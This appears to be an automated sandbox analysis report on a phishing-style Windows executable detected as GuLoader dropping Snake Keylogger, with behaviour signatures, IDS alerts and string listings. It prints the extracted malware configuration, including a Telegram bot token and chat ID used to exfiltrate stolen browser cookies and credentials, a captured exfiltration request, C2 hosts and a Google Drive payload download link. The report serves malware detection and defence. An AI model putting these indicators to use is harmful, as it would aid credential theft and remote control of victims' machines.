Edit tour

Windows Analysis Report
Swift Copy_19.02.2025.exe

Overview

General Information

Sample name:	Swift Copy_19.02.2025.exe
Analysis ID:	1620702
MD5:	cfd2a2a0de8c10180319835f2c148578
SHA1:	a685193f4a254f4a67d116120c870f827d83b561
SHA256:	7d9639376d9c7dcecfdf494950100a6d04238a7d510d65c4b52225b634073b24
Tags:	exeuser-lowmal3
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Swift Copy_19.02.2025.exe (PID: 2532 cmdline: "C:\Users\user\Desktop\Swift Copy_19.02.2025.exe" MD5: CFD2A2A0DE8C10180319835F2C148578)

Swift Copy_19.02.2025.exe (PID: 3892 cmdline: "C:\Users\user\Desktop\Swift Copy_19.02.2025.exe" MD5: CFD2A2A0DE8C10180319835F2C148578)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY", "Chat_id": "8173633564", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.3153152281.0000000004618000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000006.00000002.4000735254.0000000002CB8000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Swift Copy_19.02.2025.exe PID: 3892	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Swift Copy_19.02.2025.exe PID: 3892	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T08:29:39.382429+0100	2803305	3	Unknown Traffic	192.168.2.6	49991	104.21.112.1	443	TCP
2025-02-21T08:29:40.200794+0100	2803305	3	Unknown Traffic	192.168.2.6	49992	104.21.112.1	443	TCP
2025-02-21T08:29:40.990332+0100	2803305	3	Unknown Traffic	192.168.2.6	49993	104.21.112.1	443	TCP
2025-02-21T08:29:41.909412+0100	2803305	3	Unknown Traffic	192.168.2.6	49994	104.21.112.1	443	TCP
2025-02-21T08:29:42.694800+0100	2803305	3	Unknown Traffic	192.168.2.6	49995	104.21.112.1	443	TCP
2025-02-21T08:29:43.471307+0100	2803305	3	Unknown Traffic	192.168.2.6	49996	104.21.112.1	443	TCP
2025-02-21T08:29:44.563716+0100	2803305	3	Unknown Traffic	192.168.2.6	49997	104.21.112.1	443	TCP
2025-02-21T08:29:45.328610+0100	2803305	3	Unknown Traffic	192.168.2.6	49998	104.21.112.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T08:29:37.301012+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:38.832275+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:39.614831+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:40.426040+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:41.363536+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:42.129340+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:42.926091+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:43.707329+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP
2025-02-21T08:29:44.785406+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49989	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T08:29:31.759430+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	49987	142.250.186.174	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T08:29:53.615236+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	50001	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T08:29:46.995244+0100	1810007	1	Potentially Bad Traffic	192.168.2.6	49999	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY/sendDocument?chat_id=8173633564&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd521f9ed5b80aHost: api.telegram.orgContent-Length: 1281

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 21 Feb 2025 07:29:46 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Swift Copy_19.02.2025.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034930000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20a
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY/sendDocument?chat_id=8173
Source: Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000349E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4005623789.0000000005CC0000.00000004.00001000.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.0000000004191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=18Kyx2LntnZpiKsTwYTgdWT8PutIhm-KW
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.0000000004191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=18Kyx2LntnZpiKsTwYTgdWT8PutIhm-KWd:
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.00000000041BE000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3267061065.00000000041C6000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3267061065.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3238928257.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3238928257.00000000041C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.00000000041BE000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3267061065.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3238928257.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/6
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4004897772.00000000041AE000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=18Kyx2LntnZpiKsTwYTgdWT8PutIhm-KW&export=download
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000348BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000348BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000348EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034930000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.00000000348EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035B76000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4027318338.0000000035891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Swift Copy_19.02.2025.exe, 00000006.00000003.3231883035.00000000041E7000.00000004.00000020.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000003.3231803379.00000000041E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A17000.00000004.00000800.00020000.00000000.sdmp, Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: Swift Copy_19.02.2025.exe, 00000006.00000002.4025753098.0000000034A12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.161:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49999 version: TLS 1.2

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Code function: 0_2_0040542B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040542B

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 0_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403359
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		6_2_00403359

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 0_2_00404C68	0_2_00404C68
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 0_2_0040698E	0_2_0040698E
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 0_2_73911B5F	0_2_73911B5F
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_00404C68	6_2_00404C68
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_0040698E	6_2_0040698E
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F75370	6_2_03F75370
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7D278	6_2_03F7D278
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7C146	6_2_03F7C146
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7C738	6_2_03F7C738
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F776F1	6_2_03F776F1
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7D548	6_2_03F7D548
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F76498	6_2_03F76498
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7C468	6_2_03F7C468
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7CA08	6_2_03F7CA08
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7E988	6_2_03F7E988
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F76FC8	6_2_03F76FC8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7CFAA	6_2_03F7CFAA
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F73E09	6_2_03F73E09
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F79DE0	6_2_03F79DE0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7CCD8	6_2_03F7CCD8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7F2C0	6_2_03F7F2C0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7B0B8	6_2_03F7B0B8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F73A24	6_2_03F73A24
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F729EC	6_2_03F729EC
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7E97A	6_2_03F7E97A
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_03F7F961	6_2_03F7F961
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A12A90	6_2_36A12A90
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A19668	6_2_36A19668
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A11FA8	6_2_36A11FA8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A10B30	6_2_36A10B30
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A11850	6_2_36A11850
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A15148	6_2_36A15148
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A1DAB9	6_2_36A1DAB9
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A1DAC8	6_2_36A1DAC8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A1D209	6_2_36A1D209
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A1D218	6_2_36A1D218
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A1D660	6_2_36A1D660
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A1D670	6_2_36A1D670
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A11FA2	6_2_36A11FA2
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A1E7CF	6_2_36A1E7CF
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A1E7D0	6_2_36A1E7D0
